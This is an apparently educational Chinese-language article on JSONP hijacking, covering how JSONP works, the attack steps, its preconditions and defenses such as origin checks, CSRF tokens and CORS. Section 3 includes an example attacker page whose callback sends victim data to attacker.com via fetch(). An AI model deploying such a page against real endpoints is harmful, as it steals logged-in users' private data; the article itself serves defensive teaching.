JSONP劫持攻击原理与防御
字数 1047 2025-11-10 19:50:31
JSONP劫持攻击原理与防御
1. JSONP劫攻击概述
JSONP(JSON with Padding)是一种跨域数据交互的变通方案,通过<script>标签的跨域特性实现数据获取。但若未严格校验请求来源,攻击者可利用此特性窃取用户敏感数据。
2. JSONP的工作原理
- 跨域限制的绕过:浏览器同源策略禁止页面跨域读取数据,但
<script>标签的src属性可跨域加载JS文件。 - 回调机制:服务器返回的数据包裹在回调函数中,例如:
服务器返回:// 客户端定义回调函数 function handleResponse(data) { console.log(data); } // 请求的URL包含回调函数名 <script src="https://api.example.com/userinfo?callback=handleResponse"></script>handleResponse({"user": "Alice", "email": "alice@example.com"});
浏览器执行此JS代码,触发客户端回调函数处理数据。
3. JSONP劫持攻击步骤
假设存在一个返回用户敏感信息的JSONP接口(如https://api.victim.com/user?callback=getUser),且未验证请求来源:
- 攻击者构造恶意页面:
<script> function getUser(data) { // 将用户数据发送到攻击者服务器 fetch('https://attacker.com/steal?data=' + JSON.stringify(data)); } </script> <script src="https://api.victim.com/user?callback=getUser"></script> - 诱导用户访问恶意页面:通过钓鱼邮件、恶意广告等方式诱使用户点击。
- 数据窃取:用户浏览器自动执行JSONP请求,因已登录受害网站,请求会携带身份凭证(如Cookie),服务器返回数据后触发攻击者定义的回调函数,数据被窃取。
4. 攻击成功的关键条件
- 接口使用JSONP方式返回敏感数据。
- 未校验
Referer头或Origin头,允许任意网站跨域调用。 - 用户处于已登录状态(会话有效)。
5. 防御措施
- 严格校验来源:
- 检查
Referer头是否来自可信域名(注意Referer可能被篡改或缺失)。 - 使用CSRF Token验证请求合法性。
- 检查
- 禁用JSONP:优先使用CORS(跨域资源共享)替代JSONP,通过服务端设置
Access-Control-Allow-Origin控制跨域权限。 - 内容类型限制:响应头设置
Content-Type: application/json,避免浏览器解析为JS。 - 减少敏感数据暴露:JSONP接口避免返回用户隐私信息。
6. 补充:JSONP与CORS的对比
- 安全性:CORS需显式配置允许的源,而JSONP默认开放给所有域。
- 灵活性:CORS支持多种HTTP方法(如POST),JSONP仅限GET请求。
- 兼容性:JSONP支持老式浏览器,CORS需现代浏览器支持。
通过理解JSONP的机制与风险,可有效避免因过度依赖宽松跨域方案导致的数据泄露。